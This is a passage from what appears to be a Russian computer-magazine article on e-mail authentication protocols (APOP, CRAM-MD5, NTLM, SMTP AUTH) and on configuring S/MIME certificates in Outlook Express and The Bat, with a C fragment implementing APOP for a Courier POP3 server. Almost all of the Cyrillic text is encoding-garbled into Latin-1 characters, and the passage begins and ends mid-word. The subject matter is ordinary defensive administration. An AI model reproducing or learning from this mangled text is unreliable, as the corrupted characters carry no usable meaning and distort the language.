äàåòñÿ â Base64. Òàê æå â Base64
ïåðåäàåòñÿ è îòâåò.

Ê ñîæàëåíèþ, âîçìîæíîñòü èç-
áàâèòüñÿ îò õðàíåíèÿ ïàðîëÿ â îò-
êðûòîì òåêñòå íå äàñò íàì ñëèøêîì
ìíîãîãî ñ òî÷êè çðåíèÿ áåçîïàñíî-
ñòè, òàê êàê ìû áóäåì âûíóæäåíû
õðàíèòü êîíòåêñòû MD5, êîòîðûå
òî÷íî òàê æå ìîãóò áûòü èñïîëüçî-
âàíû àòàêóþùèì. Ïðàâäà, òîëüêî
äëÿ àóòåíòèôèêàöèè ïî CRAM-MD5. 

Èìåííî CRAM-MD5 ñòàë ñòàí-
äàðòîì ïî÷òîâîé àóòåíòèôèêà-
öèè, — ïðî÷èå CRAM-ìåòîäû ïðè-
ìåíÿþòñÿ êðàéíå ðåäêî. 

Íà ýòîì ðàñïðîñòðàíåííûå
ñòàíäàðòíûå ïðîòîêîëû àóòåíòèôèêà-
öèè äëÿ ïîëó÷åíèÿ ïî÷òû çàêàí÷èâà-
þòñÿ. Ìîæíî âñòðåòèòü åùå DIGEST-
MD5 (óñîâåðøåíñòâîâàííàÿ âåðñèÿ
CRAM-MD5, ÷àùå ïðèìåíÿåìàÿ äëÿ
àóòåíòèôèêàöèè äîñòóïà ê âåá-ñåð-
âåðàì) è Kerberos, íî íà ïðàêòèêå
îíè èñïîëüçóþòñÿ î÷åíü ðåäêî.

NTLM. Ñòîèò ïîãîâîðèòü è

î íåñòàíäàðòíûõ. Îòëè÷èëñÿ, ðàçó-
ìååòñÿ, Microsoft. Ïî÷òîâûé ñåðâåð
Microsoft (òî åñòü Exchange) äîëæåí
èíòåãðèðîâàòüñÿ â äîìåííóþ ñòðóê-
òóðó è Active Directory è èñïîëüçî-
âàòü äîìåííûå ïàðîëè. Èñïîëüçî-
âàòü äëÿ àóòåíòèôèêàöèè äîñòóïà
APOP èëè CRAM-MD5 íåâîçìîæíî,
òàê êàê ïî óìîë÷àíèþ ïàðîëü íå
õðàíèòñÿ â îòêðûòîì òåêñòå, à õðà-
íèòñÿ â âèäå NT-êëþ÷à (è, åñëè íå
çàïðåùåíî, LM-êëþ÷à), êîòîðûé íå-
âîçìîæíî èñïîëüçîâàòü íè â îäíîì
èç ïî÷òîâûõ ïðîòîêîëîâ àóòåíòèôè-
êàöèè, çà èñêëþ÷åíèåì îòêðûòîãî
òåêñòà. Ïîýòîìó äëÿ ïðîòîêîëà
POP3 â Microsoft Exchange è Outlook
Express áûë ðåàëèçîâàí ïðîòîêîë
NTLM. Ðåàëèçîâàí îí íåìíîæêî
ñòðàííî, â òîì ñìûñëå, ÷òî ïîääåð-
æèâàåòñÿ èìåííî NTLM è íå ïîä-
äåðæèâàþòñÿ íèêàêèå äðóãèå ïî-
ñòàâùèêè áåçîïàñíîñòè, òàêèå êàê
Negotiate èëè Kerberos. Êðîìå òîãî,
Outlook Express î÷åíü ñòðàííî ïðî-
âåðÿåò ïîääåðæêó NTLM íà ñåðâåðå:
âìåñòî ïðîâåðêè ïî CAPA äàåòñÿ
êîìàíäà AUTH áåç ïàðàìåòðîâ, ÷òî
ïðîòèâîðå÷èò RFC 1939. Â Outlook
Express NTLM-àóòåíòèôèêàöèÿ ïî-
÷åìó-òî íàçûâàåòñÿ SPA (Secure
Password Authentication). Êðîìå òî-
ãî, îí íå óìååò èñïîëüçîâàòü èìÿ è
ïàðîëü, ââåäåííûå â íàñòðîéêàõ
ó÷åòíîé çàïèñè ñåðâåðà, à âñåãäà
èñïîëüçóþòñÿ èìÿ è ïàðîëü, ñ êîòî-
ðûìè ïîëüçîâàòåëü âîøåë â ñèñòå-
ìó. Ïîýòîìó èñïîëüçîâàíèå SPA öå-
ëåñîîáðàçíî (è íàñòîÿòåëüíî ðåêî-
ìåíäóåòñÿ), òîëüêî åñëè ïî÷òîâûé
ñåðâåð òðåáóåò äîìåííóþ ó÷åòíóþ

çàïèñü. Íèêàêèõ äðóãèõ áåçîïàñíûõ
ïðîòîêîëîâ àóòåíòèôèêàöèè Outlook
Express íå ïîääåðæèâàåò. Microsoft
Outlook ðàáîòàåò ñ Exchange ïî ñîá-
ñòâåííîìó ïðîòîêîëó, à äëÿ äîñòóïà
ïî POP3 èñïîëüçóþòñÿ êîìïîíåíòû
Outlook Express.

The Bat ïîääåðæèâàåò NTLM-
àóòåíòèôèêàöèþ, íî ïðè ýòîì èñ-
ïîëüçóþòñÿ èìÿ è ïàðîëü, óêàçàí-
íûå â íàñòðîéêàõ. Òàê æå ïîääåð-
æèâàþòñÿ CRAM-MD5 è APOP.

×òî êàñàåòñÿ ïî÷òîâûõ ñåðâå-
ðîâ, òî ïðàêòè÷åñêè ëþáîé ñåðâåð,
êðîìå Microsoft Exchange, ïîääåðæè-
âàåò, êàê ìèíèìóì, CRAM-MD5 è DI-
GEST-MD5. Ïîääåðæêà NTLM ðåàëè-
çîâàíà â Communigate Pro è áèáëèî-
òåêå Cyrus SASL (èñïîëüçóåòñÿ ñ
Postfix è Courier), îäíàêî èñïîëüçî-
âàíèå NTLM âíå äîìåíà Windows
íåýôôåêòèâíî (îáñóæäàëè âûøå). 
Â Cyrus ïîääåðæêà NTLM íîñèò ýêñ-
ïåðèìåíòàëüíûé õàðàêòåð è ïî
óìîë÷àíèþ îòêëþ÷åíà. Õóæå ñ ïîä-
äåðæêîé APOP: îí ïîääåðæèâàåòñÿ
â UW-IMAP è Communigate Pro, à âîò
Cyrus SASL è Courier åãî íå ðåàëèçó-
þò. Ðåàëèçîâàòü APOP ñ ïðèìåíåíè-
åì, íàïðèìåð, ôóíêöèé authlib â
Courier — íå ñëîæíî (ñìîòðè ëè-
ñòèíã 1), íî ÷òîáû çàñóíóòü APOP 
â Courier, íåîáõîäèìî êðîìå ñîá-
ñòâåííî îáðàáîòêè êîìàíäû APOP
åùå íàó÷èòü âûäàâàòü è õðàíèòü
ñòðîêó Challenge â óãëîâûõ ñêîáêàõ
â ïðèâåòñòâèè (ôèãóðèðóåò êàê pa-
ram banner).

Èíôîðìàöèÿ î ñåðòèôèêàòå

Îêíî äëÿ âûäåëåíèÿ ìåòîäà

Âûáîð ìåòîäà àóòåíòèôèêàöèè 
â The Bat
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SMTP. Ïðîòîêîë SMTP è ñòàí-
äàðò RFC822 èçíà÷àëüíî âîîáùå íå
ïîääåðæèâàþò êàêîé-ëèáî àóòåíòè-
ôèêàöèè. Ïîäðàçóìåâàåòñÿ, ÷òî àâ-
òîðèçàöèÿ ïîëüçîâàòåëÿ íà äîñòóï
ê ïî÷òîâîìó ñåðâåðó ïðîèñõîäèò ïî
IP-àäðåñó. Îòñþäà ñëåäóåò ïå÷àëü-
íûé ôàêò — îòïðàâèòü ïèñüìî îò
òâîåãî àäðåñà èìååò âîçìîæíîñòü
ëþáîé æåëàþùèé. È áîðîòüñÿ ñ ýò-
èì íåëüçÿ, íå èçìåíèâ ïðîòîêîë. Ïî
IP-àäðåñó ïðîâåðÿåòñÿ, èìååøü ëè
òû ïðàâî èñïîëüçîâàòü ïî÷òîâûé
ñåðâåð êàê «ðåëåé», òî åñòü ðàññû-
ëàòü ÷åðåç íåãî ïèñüìà. 

Òàêîé âàðèàíò óñòðàèâàåò
áîëüøóþ ÷àñòü ISP, êîòîðûå ïðåäî-
ñòàâëÿþò äîñòóï ê ïî÷òîâûì ñåðâå-
ðàì íà îòïðàâêó ïèñåì òîëüêî
ñâîèì êëèåíòàì. Íî îí ñîâåðøåííî
íåïðèåìëåì äëÿ óçëîâ, ñïåöèàëèçè-
ðóþùèõñÿ íà ïî÷òîâûõ óñëóãàõ, íà-
ïðèìåð äëÿ áåñïëàòíûõ ñëóæá ýëåê-
òðîííîé ïî÷òû, òàê êàê èì òðåáóåò-
ñÿ ïðåäîñòàâëÿòü äîñòóï ê ñâîèì
ïî÷òîâûì ñåðâåðàì èç ðàçíûõ ñå-
òåé. Ïîýòîìó äëÿ àóòåíòèôèêàöèè
áûë ïðèäóìàí õèòðûé ìåõàíèçì, êî-
òîðûé íàçûâàåòñÿ «POP ïåðåä
SMTP» (POP before SMTP). Ñóòü åãî
ñâîäèòñÿ ê ñëåäóþùåìó. Ïðåæäå
÷åì îòïðàâèòü ïèñüìî, òû ïðîâåðÿ-
åøü ïî÷òó íà òîì æå ñåðâåðå ïî
ïðîòîêîëó POP3, ïîñëå ÷åãî â òå÷å-
íèå íåêîòîðîãî âðåìåíè ñ òâîåãî IP
ðàçðåøåíî îòïðàâëÿòü ïèñüìà ÷å-
ðåç ýòîò æå ñåðâåð. Òî åñòü ÷òîáû
îòïðàâèòü ïèñüìî, íåîáõîäèìî ñíà-
÷àëà ïðîâåðèòü ïî÷òó. Åñòåñòâåííî,
íèêàêîãî ñòàíäàðòà íà òàêîé ìåòîä
íå áûëî è áûòü íå ìîæåò, òåì íå
ìåíåå, îí ïîëó÷èë äîñòàòî÷íî øè-
ðîêîå ðàñïðîñòðàíåíèå.

Òîëüêî â 1999 ãîäó áûë ïðèíÿò
ñòàíäàðò RFC 2554, êîòîðûé ââîäèò
àóòåíòèôèêàöèþ â ïðîòîêîë SMTP.
Íàèáîëåå ðàñïðîñòðàíåííûì ìåòî-
äîì îñòàåòñÿ ìåòîä àóòåíòèôèêà-
öèè îòêðûòûì òåêñòîì (LOGIN èëè
PLAIN), íî â öåëîì èñïîëüçóþòñÿ
âñå òå æå ìåòîäû, ÷òî è â POP3
(êðîìå, ðàçóìååòñÿ, APOP). 

Ïî òåì æå ïðè÷èíàì, ÷òî è ñ
POP3, Microsoft Exchange íå ïîääåð-
æèâàåò CRAM-MD5 èëè DIGEST-MD5,
íî êðîìå NTLM ïîääåðæèâàåòñÿ åùå
è GSSAPI (Kerberos). Â Outlook Ex-
press ïîääåðæèâàåòñÿ òîëüêî àóòåí-
òèôèêàöèÿ îòêðûòûì òåêñòîì è NTLM
(SPA). Åñòü ïîäîçðåíèå, ÷òî ïîääåðæ-
êà Kerberos â Microsoft Exchange ðåà-
ëèçîâàíà èñêëþ÷èòåëüíî äëÿ ñèíõðî-
íèçàöèè ïî SMTP Active Directory.

The Bat è äðóãèå ïî÷òîâûå
àãåíòû, êàê ïðàâèëî, ïðåäëàãàþò
âûáîð íåñêîëüêèõ äîïîëíèòåëüíûõ
òèïîâ àóòåíòèôèêàöèè: CRAM-MD5,
DIGEST-MD5 è ò.ä. Íåêîòîðûå ïîä-
äåðæèâàþò è «POP before SMTP»,
÷òîáû îáëåã÷èòü æèçíü òåì ïîëüçî-
âàòåëÿì, êîòîðûå çàáûâàþò ïðèíÿòü
ïî÷òó ïåðåä îòïðàâêîé.

Íî, ê ñîæàëåíèþ, àóòåíòèôè-
êàöèÿ â SMTP îñòàåòñÿ íåîáÿçà-

òåëüíîé, è â ñàìîì ïðîòîêîëå ïåðå-
äà÷è íå ïîÿâèëîñü íàäåæíîãî ìåòî-
äà ïðîâåðêè àäðåñà îòïðàâèòåëÿ.
Ïîýòîìó åäèíñòâåííûì ñðåäñòâîì
çàùèòû îò ïîääåëêè îñòàåòñÿ ýëåê-
òðîííàÿ ïîäïèñü.

öèôðîâûå ññåðòèôèêàòû ääëÿ
ýëåêòðîííîé ïïî÷òû. Èñïîëüçóÿ öè-
ôðîâûå ñåðòèôèêàòû, ìîæíî øè-
ôðîâàòü è ïîäïèñûâàòü ýëåêòðîííûå
ïèñüìà. Öèôðîâàÿ ïîäïèñü ïðåäîñòà-
âëÿåò ìåõàíèçì ïðîâåðêè öåëîñòíî-
ñòè ñîäåðæàíèÿ ïèñüìà (íå áûëî ëè
îíî èçìåíåíî ïðè ïåðåäà÷å), øèôðî-
âàíèå ñêðûâàåò òåêñò ïèñüìà. Ïðîöå-
äóðû ïîäïèñè è øèôðîâàíèÿ ïðîèç-
âîäÿòñÿ ïî÷òîâûì êëèåíòîì îòïðàâè-
òåëÿ, à ïðîöåäóðû ïðîâåðêè öèôðî-
âîé ïîäïèñè è ðàñøèôðîâêè — ïî÷-
òîâûì êëèåíòîì ïîëó÷àòåëÿ. 

Ðàçáåðåì, êàê ïîäïèñûâàòü è
øèôðîâàòü ýëåêòðîííûå ñîîáùåíèÿ
â ðàçíûõ ïî÷òîâûõ êëèåíòàõ. Äëÿ
ýòîãî íàì ïîíàäîáèòñÿ öåíòð ñåðòè-
ôèêàöèè. Ìîæíî âîñïîëüçîâàòüñÿ
êîììåð÷åñêèì óäîñòîâåðÿþùèì
öåíòðîì, íî ìû ïîäíèìåì ñâîé ñîá-
ñòâåííûé (ñìîòðè ñòàòüþ ïðî IPSec).

Íàçîâåì âçàèìîäåéñòâóþùèå
ñòîðîíû Àëèñîé è Áîáîì. Äëÿ òîãî
÷òîáû Àëèñà ìîãëà âîñïîëüçîâàòüñÿ
öèôðîâîé ïîäïèñüþ äëÿ ýëåêòðîí-
íûõ ïèñåì, ó íåå äîëæåí áûòü óñòà-
íîâëåí ñåðòèôèêàò, âûäàííûé öåí-
òðîì ñåðòèôèêàöèè, êîòîðîìó äîâå-
ðÿåò Áîá, è ïðåäíàçíà÷åííûé äëÿ
ïîäïèñè ýëåêòðîííîé ïî÷òû.

Ïðîöåäóðà ïîëó÷åíèÿ ñåðòèôè-
êàòà äëÿ öèôðîâîé ïîäïèñè (ïðåäïî-
ëàãàåì, ÷òî ñåðòèôèêàò óäîñòîâå-

ðÿþùåãî öåíòðà óñòàíîâëåí â ñïèñêå
êîðíåâûõ äîâåðåííûõ ñåðòèôèêàòîâ
ó÷åòíîé çàïèñè Àëèñû è Áîáà):

1 ÇÀÏÐÀØÈÂÀÅØÜ
ÑÅÐÒÈÔÈÊÀÒ ÄËß 
ÝËÅÊÒÐÎÍÍÎÉ ÏÎ×ÒÛ:
START RUN HTTP://IP_
ÖÅÍÒÐÀ_ÑÅÐÒ/CERTSRV.

2 ÂÛÁÈÐÀÅØÜ ÎÏÖÈÞ
REQUEST A CERTIFICATE,
ÆÌÅØÜ NEXT.

3 ÂÛÁÈÐÀÅØÜ E-MAIL 
PROTECTION CERTIFICATE,
ÆÌÅØÜ NEXT.

4 ÇÀÏÎËÍßÅØÜ ÏÎËß NAME
È E-MAIL (ÎÑÒÀËÜÍÛÅ 
ÏÎ ÆÅËÀÍÈÞ).

Áóäü âíèìàòåëåí, óêàçûâàÿ ýëåêòðîí-
íûé àäðåñ. Îí äîëæåí òî÷íî ñîâïà-
äàòü ñ îáðàòíûì àäðåñîì îòïðàâè-
òåëÿ (òåì, êîòîðûé ïîäñòàâèòñÿ

â ïîëå «Êîìó», êîãäà ïîëó÷àòåëü
íàæìåò êíîïêó «Îòâåòèòü»). Åñëè îí
íå áóäåò ñîâïàäàòü, ïî÷òîâûé êëèåíò
íå äàñò ïîñòàâèòü öèôðîâóþ ïîäïèñü.

5 ÍÀÆÈÌÀÅØÜ SUBMIT
È ÄÀËÅÅ YES.

6 ÎÒÊÐÛÂÀÅØÜ ÎÑÍÀÑÒÊÓ
CERTIFICATION AUTHORITY
ÍÀ ÊÎÌÏÜÞÒÅÐÅ, ÍÀ ÊÎÒÎ-
ÐÎÌ ÓÑÒÀÍÎÂËÅÍ ÖÅÍÒÐ
ÑÅÐÒÈÔÈÊÀÖÈÈ, È ÂÛÄÀ-
ÅØÜ ÒÎËÜÊÎ ×ÒÎ ÇÀÏÐÎ-
ØÅÍÍÛÉ ÑÅÐÒÈÔÈÊÀÒ.

7 ÏÎËÓ×ÀÅØÜ ÇÀÏÐÎØÅÍ-
ÍÛÉ ÑÅÐÒÈÔÈÊÀÒ Ñ ÊÎÌ-
ÏÜÞÒÅÐÀ ÀËÈÑÛ. ÄËß ÝÒÎ-
ÃÎ ÇÀÕÎÄÈØÜ ÍÀ ÑÒÐÀÍÈ×-
ÊÓ HTTP://IP_ÖÅÍÒÐÀ_ÑÅÐÒ/
CERTSRV/CERTCKPN.ASP,
ÂÛÁÈÐÀÅØÜ ÍÓÆÍÛÉ 
ÇÀÏÐÎÑ È ÆÌÅØÜ NEXT.

8 ÂÛÁÈÐÀÅØÜ INSTALL THIS
CERTIFICATE È ÆÌÅØÜ YES.
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Ðåàëèçàöèÿ APOP (ôðàãìåíò êîäà âçÿò èç ñîáñòâåííîãî POP3-ñåðâåðà)

int do_apop(struct authinfo * ai, void * arg){

#define param ((POP *)arg)

char digest1[16];

char digest2[16];

MD5_CTX Context;

if(!ai->clearpasswd) return 202;

MD5Init(&Context);

MD5Update(&Context, param->banner, strlen(param->banner));

MD5Update(&Context, ai->clearpasswd, strlen(ai->clearpasswd));

MD5Final(digest1, &Context);

scan_digest(param->pop_parm[2], digest2, 16);

if(memcmp(digest1, digest2, 16)) return 203;

return callback_func(ai, arg);

/* callback_func äîëæíà îïðåäåëèòü ðàñïîëîæåíèå mailbox/maildrop è uid/gid ïîëüçîâàòåëÿ ïî

authinfo*/

#undef param

}

….

char * name = p->pop_parm[1];

char digest[16];

…

(void)strncpy(p->user, name, MAXUSERNAMELEN-1);

if((res = scan_digest(p->pop_parm[2], digest, 16)) != 16)

return pop_msg(p,POP_FAILURE, "Invalid APOP digest");

if(!auth_getuserinfo("pop3", name, do_apop, p)){

p->auth = COURIER_APOP;

(1)

÷òî çàùèùàåò TLS
TLS ÇÀÙÈÙÀÅÒ ÊÀÊ ÏÅÐÅÄÀÂÀÅÌÛÅ ÄÀÍÍÛÅ, ÒÀÊ È ÏÐÎÖÅÑÑ
ÀÓÒÅÍÒÈÔÈÊÀÖÈÈ (STLS ÄÀÅÒÑß ÄÎ ÊÀÊÎÉ-ËÈÁÎ ÄÐÓÃÎÉ ÊÎ-
ÌÀÍÄÛ). ÎÄÍÀÊÎ, ÏÎÑÊÎËÜÊÓ Â ÁÎËÜØÈÍÑÒÂÅ ÑËÓ×ÀÅÂ ÈÑ-
ÏÎËÜÇÓÅÒÑß ÑÀÌÎÏÎÄÏÈÑÀÍÍÛÉ ÑÅÐÒÈÔÈÊÀÒ, ÂÅÐÎßÒÍÎÑÒÜ
ÀÒÀÊÈ ÏÎËÍÎÑÒÜÞ ÍÅ ÓÑÒÐÀÍßÅÒÑß. ÀÒÀÊÓÞÙÈÉ, ÂÑÒÀÂØÈÉ
ÌÅÆÄÓ ÊËÈÅÍÒÎÌ È ÑÅÐÂÅÐÎÌ, ÌÎÆÅÒ ÏÎÏÛÒÀÒÜÑß ÏÎÄÑÓ-
ÍÓÒÜ ÑÎÁÑÒÂÅÍÍÛÉ ÑÅÐÒÈÔÈÊÀÒ, ÕÎÒß ÏÎÄÎÁÍÛÉ ÒÈÏ ÀÒÀÊÈ
ÑÓÙÅÑÒÂÅÍÍÎ ÑËÎÆÍÅÅ Â ÐÅÀËÈÇÀÖÈÈ. ÊËÈÅÍÒ, ÎÑÎÁÅÍÍÎ
ÏÐÎÈÇÂÎÄßÙÈÉ ÏÎÄÊËÞ×ÅÍÈÅ ÂÏÅÐÂÛÅ, ÂÛÍÓÆÄÅÍ ÏÐÈÍßÒÜ
ÏÐÅÄÓÏÐÅÆÄÅÍÈÅ. ÏÎÝÒÎÌÓ ÍÅ ÑÒÎÈÒ ÎÒÊÀÇÛÂÀÒÜÑß ÎÒ ÁÅ-
ÇÎÏÀÑÍÎÉ ÀÓÒÅÍÒÈÔÈÊÀÖÈÈ ÄÀÆÅ ÏÐÈ ÈÑÏÎËÜÇÎÂÀÍÈÈ TLS.



Òåïåðü ïðîâåðü, ÷òî â ñïèñêå ñåðòè-
ôèêàòîâ ó÷åòíîé çàïèñè Àëèñû
â êàòåãîðèþ Personal äîáàâèëñÿ íî-
âûé ñåðòèôèêàò. Äëÿ ýòîãî:

1 START RUN MMC.
HÀÆÈÌÀÅØÜ ENTER.

2 ÄÀËÅÅ FILE, ÒÀÌ ADD/REMO-
VE SNAP-IN È Â ÎÊÎØÊÅ ADD.

3 ÂÛÁÈÐÀÅØÜ CERTIFICA-
TES È ÆÌÅØÜ ADD.

4 ÎÑÒÀÂËßÅØÜ ÎÏÖÈÞ MY
USER ACCOUNT È ÆÌÅØÜ
FINISH.

5 ÄÀËÅÅ CLOSE È OK.

6 ÑÌÎÒÐÈØÜ ÂÅÒÂÜ CERTI-
FICATES — CURRENT USER \
PERSONAL \ CERTIFICATES.

7 Â ÎÊÍÅ ÑÏÐÀÂÀ ÄÎËÆÅÍ
ÏÎßÂÈÒÜÑß ÒÎËÜÊÎ ×ÒÎ
ÓÑÒÀÍÎÂËÅÍÍÛÉ ÑÅÐÒÈÔÈ-
ÊÀÒ (ÅÑËÈ ÄÎ ÝÒÎÃÎ ÍÅ
ÓÑÒÀÍÀÂËÈÂÀË ÑÅÐÒÈÔÈ-
ÊÀÒÛ ÏÎËÜÇÎÂÀÒÅËß, ÝÒÎ
ÁÓÄÅÒ ÏÅÐÂÛÉ ÈËÈ ÂÒÎ-
ÐÎÉ ËÈ×ÍÛÉ ÑÅÐÒÈÔÈÊÀÒ
ÏÎÑËÅ ÑÅÐÒÈÔÈÊÀÒÀ EFS,
ÊÎÒÎÐÛÉ ÑÎÇÄÀÅÒÑß ÀÂ-
ÒÎÌÀÒÈ×ÅÑÊÈ ÏÐÈ ØÈÔÐÎ-
ÂÀÍÈÈ ÔÀÉËÀ).

8 ÄÀËÅÅ ÄÂÎÉÍÎÉ ÊËÈÊ ÍÀ
ÑÅÐÒÈÔÈÊÀÒÅ, È ÓÁÅÆÄÀ
ÅØÜÑß, ×ÒÎ ÍÀ ÇÀÊËÀÄÊÅ 

GENERAL ÓÊÀÇÀÍÍÀ ÖÅËÜ:
PROTECTS E-MAIL MESSAGES.

9 ÍÀ ÇÀÊËÀÄÊÅ DETAILS
ÌÎÆÍÎ ÏÎÑÌÎÒÐÅÒÜ, 
ÊÎÌÓ ÂÛÄÀÍ ÑÅÐÒÈÔÈÊÀÒ
È ÊÀÊÎÉ ÝËÅÊÒÐÎÍÍÛÉ 
ÀÄÐÅÑ ÎÍ ÏÎÄÒÂÅÐÆÄÀÅÒ.

Îáðàòè âíèìàíèå íà ñòðî÷êó «You
have a private key that corresponds to
this certificate». Ýòî çíà÷èò, ÷òî ñåð-
òèôèêàò ñîäåðæèò ïàðó «îòêðû-
òûé/çàêðûòûé êëþ÷».

Ñ öåíòðîì ñåðòèôèêàöèè
ðàçîáðàëèñü. Òåïåðü ïîñìîòðèì
íàñòðîéêè ïîïóëÿðíûõ ïî÷òîâûõ
êëèåíòîâ. Íà÷íåì ñ ïîäïèñûâàíèÿ
ýëåêòðîííûõ ïèñåì â Outlook Ex-
press. Èñõîäèì èç òîãî, ÷òî ó÷åòíàÿ
çàïèñü ñîçäàíà è â åå ñâîéñòâàõ
â ïîëå «Email address» óñòàíîâëåí
àäðåñ ýëåêòðîííîé ïî÷òû, äëÿ êîòî-
ðîãî òû ïîëó÷èë ñåðòèôèêàò.

Ñîçäàåøü ïèñüìî (åñëè â ïî÷-
òîâîì êëèåíòå íåñêîëüêî ó÷åòíûõ çà-
ïèñåé, âûáèðàåøü äëÿ îòïðàâêè òó,
äëÿ êîòîðîé åñòü ñåðòèôèêàò), çàïîë-
íÿåøü íåîáõîäèìûå ïîëÿ è æìåøü
«Sign» èëè â ìåíþ Tools âûáèðàåøü
Digitally Sign. È îòïðàâëÿåøü. Òåïåðü
ïèñüìî (åñëè ñìîòðåòü â îòïðàâëåí-
íûõ) ïîäïèñàíî ñîîòâåòñòâóþùåé ïèê-
òîãðàììîé â âèäå ïå÷àòè íà êîíâåðòå.

Êîãäà Áîá ïîëó÷èò ýòî ïèñüìî,
òî çàìåòèò, ÷òî îíî èìååò öèôðîâóþ
ïîäïèñü. Åñëè ó Áîáà â ñïèñêå äîâå-
ðåííûõ êîðíåâûõ ñåðòèôèêàòîâ íåò

ÖÑ, ó êîòîðîãî Àëèñà ïîëó÷èëà ñâîé
ñåðòèôèêàò, ïèêòîãðàììà ïîäïèñè
áóäåò ñ êðàñíûì êðóæêîì è ïîÿâèòñÿ
ïðåäóïðåæäåíèå áåçîïàñíîñòè.

Òåïåðü íàñòðîèì The Bat äëÿ
èñïîëüçîâàíèÿ ñåðòèôèêàòîâ:

1 ÎÒÊÐÛÂÀÅØÜ THE BAT, Â
ÌÅÍÞ ÑÂÎÉÑÒÂÀ ÏÀÐÀÌÅ-
ÒÐÛ S/MIME È ÐÅÀËÈÇÀÖÈß
S/MIME, ÂÛÁÈÐÀÅØÜ S/MIME
MICROSOFT CRYPTOAPI.

2 ÊÐÈÏÒÎÏÐÎÂÀÉÄÅÐÀ,
ÀËÃÎÐÈÒÌÛ ØÈÔÐÎÂÀÍÈß
È ÏÎÄÏÈÑÈ ÎÑÒÀÂËßÅØÜ
ÏÎ ÓÌÎË×ÀÍÈÞ.

3 ÂÊËÞ×ÀÅØÜ ÎÏÖÈÈ
«ÏÎÌÍÈÒÜ ÑÂßÇÈ E-MAIL
ÀÄÐÅÑÎÂ Ñ ÑÅÐÒÈÔÈÊÀÒÀ-
ÌÈ ÄËß ÏÎÄÏÈÑÈ» È «ÏÎÌ-
ÍÈÒÜ ÑÂßÇÈ E-MAIL ÀÄÐÅ-
ÑÎÂ Ñ ÑÅÐÒÈÔÈÊÀÒÀÌÈ
ÄËß ØÈÔÐÎÂÀÍÈß» È ÍÀ-
ÆÈÌÀÅØÜ ÎÊ.

4 ÄÀËÅÅ ÇÀÕÎÄÈØÜ Â ÌÅ-
ÍÞ ßÙÈÊ ÑÂÎÉÑÒÂÀ
ÏÎ×ÒÎÂÎÃÎ ßÙÈÊÀ ÇÀ-
ÊËÀÄÊÀ ÏÀÐÀÌÅÒÐÛ.

5 Â ÃÐÓÏÏÅ ÐÅÄÀÊÒÎÐ ÏÈ-
ÑÅÌ ÓÁÈÐÀÅØÜ ÎÏÖÈÞ ÀÂ-
ÒÎ — OPENPGP È ÎÑÒÀÂËß-
ÅØÜ ÀÂÒÎ — S/MIME, ÍÀÆÈ-
ÌÀÅØÜ ÎÊ.

Äàëåå, ÷òîáû äîáàâèòü ýëåêòðîííóþ
ïîäïèñü, ïîñëå ñîçäàíèÿ ïèñüìà çà-
õîäè â ìåíþ «Êðèïòîãðàôèÿ è áåçî-
ïàñíîñòü» è âûáèðàé «Ïîäïèñàòü
ïåðåä îòïðàâêîé».

øèôðîâêà. Òåïåðü çàøèôðó-
åì ïèñüìî. Äëÿ ýòîãî ó íàñ äîëæåí
áûòü îòêðûòûé êëþ÷ Áîáà. Ïîëó-
÷èòü åãî ìîæíî, ýêñïîðòèðîâàâ
ëè÷íûé ñåðòèôèêàò Áîáà (çàêðû-
òûé êëþ÷ ïðè ýòîì íå ýêñïîðòèðó-
åòñÿ) â ôàéë, ïåðåäàòü ýòîò ôàéë
Àëèñå òîé æå ýëåêòðîííîé ïî÷òîé
(óæå ìîæåøü ïîäïèñàòü ýòî ïèñüìî
öèôðîâîé ïîäïèñüþ), òàê êàê ñ ïî-
ìîùüþ ïåðåõâà÷åííîãî ñåðòèôèêà-
òà ìîæíî øèôðîâàòü ïî÷òó, êîòî-
ðóþ ïîòîì ìîæåò ðàñøèôðîâàòü
Áîá, íî íåëüçÿ ðàñøèôðîâàòü ïî÷-
òó, çàøèôðîâàííóþ ñ ïîìîùüþ
ýòîãî ñåðòèôèêàòà.

1 Â ÎÑÍÀÑÒÊÅ CERTIFICA-
TES Â ÂÅÒÊÅ CERTIFICA-
TES — CURRENT USER \ PER-
SONAL \ CERTIFICATES ÏÐÀ-
ÂÛÉ ÊËÈÊ ÍÀ ÑÅÐÒÈÔÈÊÀ-
ÒÅ ÁÎÁÀ (ÄËß ÖÅËÅÉ PRO-
TECTS E-MAIL MESSAGES),
ALL TASKS, ÄÀËÅÅ EXPORT.

2 ÆÌÅØÜ ÒÐÈ ÐÀÇÀ NEXT,
ÄÀËÅÅ ÓÊÀÇÛÂÀÅØÜ 
ÍÀÇÂÀÍÈÅ ÝÊÑÏÎÐÒÈÐÓÅ-
ÌÎÃÎ ÔÀÉËÀ, ÍÀÆÈÌÀÅØÜ
NEXT FINISH È OK.

3 ÄÎÑÒÀÂËßÅØÜ ÝÒÎÒ ÔÀÉË
ÍÀ ÊÎÌÏÜÞÒÅÐ ÀËÈÑÛ.

Íà êîìïüþòåðå Àëèñû äåëàåøü ñëå-
äóþùåå (äëÿ Outlook Express):

1 ÎÒÊÐÛÂÀÅØÜ OUTLOOK
EXPRESS, Â ÌÅÍÞ TOOLS
ADDRESS BOOK.

2 Â ÌÅÍÞ FILE
NEW CONTACT.

3 ÍÀ ÇÀÊËÀÄÊÅ NAME 
ÇÀÏÎËÍßÅØÜ ÈÌß È ÝËÅÊ-
ÒÐÎÍÍÛÉ ÀÄÐÅÑ ÁÎÁÀ.
4 ÍÀ ÇÀÊËÀÄÊÅ DIGITAL IDS
Â SELECT AN E-MAIL AD-
DRESS ÂÛÁÈÐÀÅØÜ ÒÎËÜÊÎ
×ÒÎ ÂÂÅÄÅÍÍÛÉ ÀÄÐÅÑ
È ÍÀÆÈÌÀÅØÜ IMPORT.

5 ÍÀÕÎÄÈØÜ ÔÀÉË, 
Â ÊÎÒÎÐÎÌ ÍÀÕÎÄÈÒÑß 
ÝÊÑÏÎÐÒÈÐÎÂÀÍÍÛÉ
ÐÀÍÅÅ ÑÅÐÒÈÔÈÊÀÒ ÁÎÁÀ,
È ÍÀÆÈÌÀÅØÜ OPEN.

6 ÍÀÆÈÌÀÅØÜ OK 
È ÇÀÊÐÛÂÀÅØÜ 
ÀÄÐÅÑÍÓÞ ÊÍÈÃÓ.

Âñå, òåïåðü ìîæåøü è ïîäïèñûâàòü,
è øèôðîâàòü ïèñüìà Áîáó. Äëÿ ýòî-
ãî äîñòàòî÷íî íà ñîçäàííîì ïèñüìå
ëèáî ïèêòîãðàììàìè, ëèáî ÷åðåç
ìåíþ Tools ñ îïöèÿìè Encrypt è Digi-
